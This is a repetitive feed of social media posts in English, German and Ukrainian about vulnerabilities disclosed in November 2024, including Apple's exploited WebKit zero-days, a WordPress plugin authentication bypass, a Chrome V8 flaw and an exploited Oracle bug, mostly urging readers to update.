Some fairly interesting stuff for this #PatchTuesday!

Of particular note for me, a 9.9 in Azure CycleCloud (CVE-2024-43602), a Windows AppContainer escape (CVE-2024-49039), and a RCE in .NET/Visual Studio (CVE-2024-43498)? That one needs more detail.

https://www.zerodayinitiative.com/blog/2024/11/12/the-november-2024-security-update-review

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Oha. Eigentlich hätte ich mit iOS 18.2 von Apple gerechnet. Anstelle schieben die jetzt 18.1.1 mit einem super wichtigen Sicherheitsupdate (CVE-2024-44308) raus, dass ein von Google entdecktes zeroday im WebKit fixen soll.

#Apple #ios #sicherheitsupdate #webkit #CVE202444308

https://support.apple.com/en-us/121752

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Update now! Apple confirms vulnerabilities are already being exploited
#CVE_2024_44308 #CVE_2024_44309
https://www.malwarebytes.com/blog/news/2024/11/update-now-apple-confirms-vulnerabilities-are-being-exploited

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Oha. Eigentlich hätte ich mit iOS 18.2 von Apple gerechnet. Anstelle schieben die jetzt 18.1.1 mit einem super wichtigen Sicherheitsupdate (CVE-2024-44308) raus, dass ein von Google entdecktes zeroday im WebKit fixen soll.

#Apple #ios #sicherheitsupdate #webkit #CVE202444308

https://support.apple.com/en-us/121752

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Update now! Apple confirms vulnerabilities are already being exploited
#CVE_2024_44308 #CVE_2024_44309
https://www.malwarebytes.com/blog/news/2024/11/update-now-apple-confirms-vulnerabilities-are-being-exploited

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

If you missed this yesterday, update your iPhone.This relates to CVE-2024-44308 and CVE-2024-44309.

#Apple Issues Emergency Security Update for Actively Exploited Vulnerabilities https://www.infosecurity-magazine.com/news/apple-security-update/ #cybersecurity #infosec

Apple security advisories: https://support.apple.com/en-us/100100

Apple fixes 2 zero-days exploited to breach macOS systems (CVE-2024-44309, CVE-2024-44308) https://www.helpnetsecurity.com/2024/11/20/cve-2024-44309-cve-2024-44308/ #Don'tmiss #Hotstuff #Google #0-day #Apple #macOS #News #iPad #iOS

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- Safari 18.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- visionOS 2.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed updates for 2 new zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore),
🐛 CVE-2024-44309 (WebKit):
- iOS and iPadOS 17.7.2
- iOS and iPadOS 18.1.1
- macOS Sequoia 15.1.1

#apple #cybersecurity #infosec #security #ios

If you missed this yesterday, update your iPhone.This relates to CVE-2024-44308 and CVE-2024-44309.

#Apple Issues Emergency Security Update for Actively Exploited Vulnerabilities https://www.infosecurity-magazine.com/news/apple-security-update/ #cybersecurity #infosec

Apple security advisories: https://support.apple.com/en-us/100100

Apple fixes 2 zero-days exploited to breach macOS systems (CVE-2024-44309, CVE-2024-44308) https://www.helpnetsecurity.com/2024/11/20/cve-2024-44309-cve-2024-44308/ #Don'tmiss #Hotstuff #Google #0-day #Apple #macOS #News #iPad #iOS

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- Safari 18.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- visionOS 2.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed updates for 2 new zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore),
🐛 CVE-2024-44309 (WebKit):
- iOS and iPadOS 17.7.2
- iOS and iPadOS 18.1.1
- macOS Sequoia 15.1.1

#apple #cybersecurity #infosec #security #ios

Today I am publishing the technical details of CVE-2024-44625, an unpatched RCE vulnerability in Gogs: https://fysac.github.io/posts/2024/11/unpatched-remote-code-execution-in-gogs/

4,000,000 WordPress Sites Using Really Simple Security Free and Pro Versions Affected by Critical Authentication Bypass Vulnerability
#CVE_2024_10924
https://www.wordfence.com/blog/2024/11/really-simple-security-vulnerability/

БІЛЬШЕ 4 МІЛЬЙОНІВ САЙТІВ WORDPRESS ПІД ЗАГРОЗОЮ

Більше 4 мільйонів сайтів на базі CMS WordPress є під загрозою через критичну вразливість, виявлену спеціалістами Wordfence Security у відомому плагіні Really Simple SSL та його PRO версії.

Це одна з найбільш серйозних вразливостей в плагінах WordPress за останні 12 років!

Загроза була виявлена 6 листопада 2024 року, має ідентифікатор CVE-2024-10924 та ступінь критичності 9.8 за шкалою CVSS. Уразливість дає можливість зловмиснику віддалено отримати доступ до будь-якого облікового запису Wordpress, включаючи Адміністратора, навіть коли ввімкнено функцію двофакторної автентифікації!

12-14 листопада 2024 року команда розробників Really Simple SSL випустила пропатчену версію обох плагінів 9.1.2, у якій вразливість була повністю усунена.

Технічний аналіз цієї вразливості опублікований на сайті Wordfence:
https://www.wordfence.com/blog/2024/11/really-simple-security-vulnerability/

Висновки:

- Намагайтесь використовувати по мінімуму кількість додаткових плагінів на своєму сайті WordPress. Чим менше плагінів - тим менший ризик бути непомітно зламаним.
- Не використовуйте ламані, обнулені, крякнуті плагіни.
- Регулярно оновлюйте WordPress і усі його компоненти до останніх актуальних версій. Не затягуйте з цим.
- Будьте в курсі останніх новин з кібербезпеки, щоби вчасно дізнаватися про інциденти та реагувати на них.
- Проводьте резервне копіюванння сайтів, щоб була змога відновитись у разі зламу/атаки.

Якщо ви знаєте когось, хто використовує ці плагіни на своєму сайті, ми рекомендуємо поділитися з ним цією порадою, щоб забезпечити безпеку його сайту, оскільки ця вразливість становить значний ризик.

Кому потрібна допомога - звертайтеся, ми до ваших послуг: https://kr-labs.com.ua/blog/wordpress-security-recommendations/

#wordpress #vulnerability #cybernews #cybercrine #hacked #кібербезпека #новини #cybersecurity #ReallySimpleSSL #ReallySimpleSecurity #CVE_2024_10924 #infosec #hack

БІЛЬШЕ 4 МІЛЬЙОНІВ САЙТІВ WORDPRESS ПІД ЗАГРОЗОЮ

Більше 4 мільйонів сайтів на базі CMS WordPress є під загрозою через критичну вразливість, виявлену спеціалістами Wordfence Security у відомому плагіні Really Simple SSL та його PRO версії.

Це одна з найбільш серйозних вразливостей в плагінах WordPress за останні 12 років!

Загроза була виявлена 6 листопада 2024 року, має ідентифікатор CVE-2024-10924 та ступінь критичності 9.8 за шкалою CVSS. Уразливість дає можливість зловмиснику віддалено отримати доступ до будь-якого облікового запису Wordpress, включаючи Адміністратора, навіть коли ввімкнено функцію двофакторної автентифікації!

12-14 листопада 2024 року команда розробників Really Simple SSL випустила пропатчену версію обох плагінів 9.1.2, у якій вразливість була повністю усунена.

Технічний аналіз цієї вразливості опублікований на сайті Wordfence:
https://www.wordfence.com/blog/2024/11/really-simple-security-vulnerability/

Висновки:

- Намагайтесь використовувати по мінімуму кількість додаткових плагінів на своєму сайті WordPress. Чим менше плагінів - тим менший ризик бути непомітно зламаним.
- Не використовуйте ламані, обнулені, крякнуті плагіни.
- Регулярно оновлюйте WordPress і усі його компоненти до останніх актуальних версій. Не затягуйте з цим.
- Будьте в курсі останніх новин з кібербезпеки, щоби вчасно дізнаватися про інциденти та реагувати на них.
- Проводьте резервне копіюванння сайтів, щоб була змога відновитись у разі зламу/атаки.

Якщо ви знаєте когось, хто використовує ці плагіни на своєму сайті, ми рекомендуємо поділитися з ним цією порадою, щоб забезпечити безпеку його сайту, оскільки ця вразливість становить значний ризик.

Кому потрібна допомога - звертайтеся, ми до ваших послуг: https://kr-labs.com.ua/blog/wordpress-security-recommendations/

#wordpress #vulnerability #cybernews #cybercrine #hacked #кібербезпека #новини #cybersecurity #ReallySimpleSSL #ReallySimpleSecurity #CVE_2024_10924 #infosec #hack

Google Chrome security advisory: Stable Channel Update for Desktop
New Chrome version 131.0.6778.85/.86 for Windows, Mac and 131.0.6778.85 for Linux includes 3 security fixes, 1 externally reported: CVE-2024-11395 (high severity) Type Confusion in V8. No mention of exploitation.

#Google #Chrome #chromium #vulnerability #CVE #CVE_2024_11395

Google Chrome security advisory: Stable Channel Update for Desktop
New Chrome version 131.0.6778.85/.86 for Windows, Mac and 131.0.6778.85 for Linux includes 3 security fixes, 1 externally reported: CVE-2024-11395 (high severity) Type Confusion in V8. No mention of exploitation.

#Google #Chrome #chromium #vulnerability #CVE #CVE_2024_11395

Google Chrome security advisory: Stable Channel Update for Desktop
New Chrome version 131.0.6778.85/.86 for Windows, Mac and 131.0.6778.85 for Linux includes 3 security fixes, 1 externally reported: CVE-2024-11395 (high severity) Type Confusion in V8. No mention of exploitation.

#Google #Chrome #chromium #vulnerability #CVE #CVE_2024_11395

Google Chrome security advisory: Stable Channel Update for Desktop
New Chrome version 131.0.6778.85/.86 for Windows, Mac and 131.0.6778.85 for Linux includes 3 security fixes, 1 externally reported: CVE-2024-11395 (high severity) Type Confusion in V8. No mention of exploitation.

#Google #Chrome #chromium #vulnerability #CVE #CVE_2024_11395

CVE-2024-11395
Type Confusion in V8 in Google Chrome prior to 131.0.6778.85 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

If you are security cautious might want to avoid using Chrome till this is fixed, if I understood it correctly. Feel free to correct me, I will be trying to build a PoC... in my lab

I just like saying '..in my lab'

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Update now! Apple confirms vulnerabilities are already being exploited
#CVE_2024_44308 #CVE_2024_44309
https://www.malwarebytes.com/blog/news/2024/11/update-now-apple-confirms-vulnerabilities-are-being-exploited

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

iOS 18.1.1 und macOS Sequoia 15.1.1 schließen aktiv ausgenutzte Sicherheitslücken
Apple hat mit den neuen Updates iOS 18.1.1 und macOS Sequoia 15.1.1 bedeutende Sicherheitslücken geschlossen, die Beric
https://www.apfeltalk.de/magazin/feature/ios-18-1-1-und-macos-sequoia-15-1-1-schliessen-aktiv-ausgenutzte-sicherheitsluecken/
#Feature #iPad #iPhone #Mac #Apple #CrossSiteScripting #CVE202444308 #CVE202444309 #IntelMac #IOS1811 #JavaScriptCore #MacOSSequoia1511 #Sicherheitsupdate #Webkit

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Apple Confirms Zero-Day Attacks Hitting Intel-based Macs https://www.securityweek.com/apple-confirms-zero-day-attacks-hitting-intel-based-macs/ #Malware&Threats #Vulnerabilities #CVE202444308 #CVE202444309 #macOSSequioa #iOS1811 #Apple

Update now! Apple confirms vulnerabilities are already being exploited
#CVE_2024_44308 #CVE_2024_44309
https://www.malwarebytes.com/blog/news/2024/11/update-now-apple-confirms-vulnerabilities-are-being-exploited

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

Apple exploited zero-days

• About the security content of macOS Sequoia 15.1.1
• About the security content of iOS 18.1.1 and iPadOS 18.1.1
• About the security content of iOS 17.7.2 and iPadOS 17.7.2
• About the security content of visionOS 2.1.1

• About the security content of Safari 18.1.1

• CVE-2024-44308 JavaScriptCore Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

• CVE-2024-44309 WebKit Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Both zero-days reported by Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group h/t: @applsec cc: @campuscodi @mttaggart @cR0w @briankrebs @ntkramer @iagox86 @dreadpir8robots @catc0n

#apple #zeroday #vulnerability #eitw #activeexploitation #cve #CVE_2024_44308 #CVE_2024_44309

If you missed this yesterday, update your iPhone.This relates to CVE-2024-44308 and CVE-2024-44309.

#Apple Issues Emergency Security Update for Actively Exploited Vulnerabilities https://www.infosecurity-magazine.com/news/apple-security-update/ #cybersecurity #infosec

Apple security advisories: https://support.apple.com/en-us/100100

Apple fixes 2 zero-days exploited to breach macOS systems (CVE-2024-44309, CVE-2024-44308) https://www.helpnetsecurity.com/2024/11/20/cve-2024-44309-cve-2024-44308/ #Don'tmiss #Hotstuff #Google #0-day #Apple #macOS #News #iPad #iOS

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- Safari 18.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- visionOS 2.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed updates for 2 new zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore),
🐛 CVE-2024-44309 (WebKit):
- iOS and iPadOS 17.7.2
- iOS and iPadOS 18.1.1
- macOS Sequoia 15.1.1

#apple #cybersecurity #infosec #security #ios

If you missed this yesterday, update your iPhone.This relates to CVE-2024-44308 and CVE-2024-44309.

#Apple Issues Emergency Security Update for Actively Exploited Vulnerabilities https://www.infosecurity-magazine.com/news/apple-security-update/ #cybersecurity #infosec

Apple security advisories: https://support.apple.com/en-us/100100

Apple fixes 2 zero-days exploited to breach macOS systems (CVE-2024-44309, CVE-2024-44308) https://www.helpnetsecurity.com/2024/11/20/cve-2024-44309-cve-2024-44308/ #Don'tmiss #Hotstuff #Google #0-day #Apple #macOS #News #iPad #iOS

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- Safari 18.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed additional updates for 2 zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore) additional patches,
🐛 CVE-2024-44309 (WebKit) additional patches:
- visionOS 2.1.1

#apple #cybersecurity #infosec #security #ios

📣 EMERGENCY UPDATES 📣

Apple pushed updates for 2 new zero-days that may have been actively exploited.

🐛 CVE-2024-44308 (JavaScriptCore),
🐛 CVE-2024-44309 (WebKit):
- iOS and iPadOS 17.7.2
- iOS and iPadOS 18.1.1
- macOS Sequoia 15.1.1

#apple #cybersecurity #infosec #security #ios

@ryanaraine tweeted "👀 Interesting people reporting a very interesting bug 👀" over at the Bad Place™ and linked CVE-2024-43450 (7.5 high) Windows DNS Spoofing Vulnerability. The reporters are from "cnnic.cn" which is China Internet Network Information Center, affiliated with the Ministry of Industry and Information Technology.

I think he's implying that it's unusual for a PRC government institution affiliated with MIIT itself to report a widely impacting network vulnerability in a post-July 2021 “Regulations on the Management of Network Product Security Vulnerabilities” (RMSV). Maybe the attack complexity is too high to be worthwhile? CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

CVE Alert: CVE-2024-0793 - https://www.redpacketsecurity.com/cve_alert_cve-2024-0793/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_0793

CVE Alert: CVE-2024-0793 - https://www.redpacketsecurity.com/cve_alert_cve-2024-0793/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_0793

CVE Alert: CVE-2024-0793 - https://www.redpacketsecurity.com/cve_alert_cve-2024-0793/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_0793

CVE Alert: CVE-2024-0793 - https://www.redpacketsecurity.com/cve_alert_cve-2024-0793/

#OSINT #ThreatIntel #CyberSecurity #cve_2024_0793

Oracle exploited zero-day: Security Alert CVE-2024-21287 Released

• CVE-2024-21287 (7.5 high) Vulnerability in the Oracle Agile PLM Framework product of Oracle Supply Chain (component: Software Development Kit, Process Extension). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM Framework. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM Framework accessible data.

It was reported as being actively exploited "in the wild" by CrowdStrike.

Oracle's actual security advisory Oracle Security Alert Advisory - CVE-2024-21287 is useless because it doesn't mention exploitation.

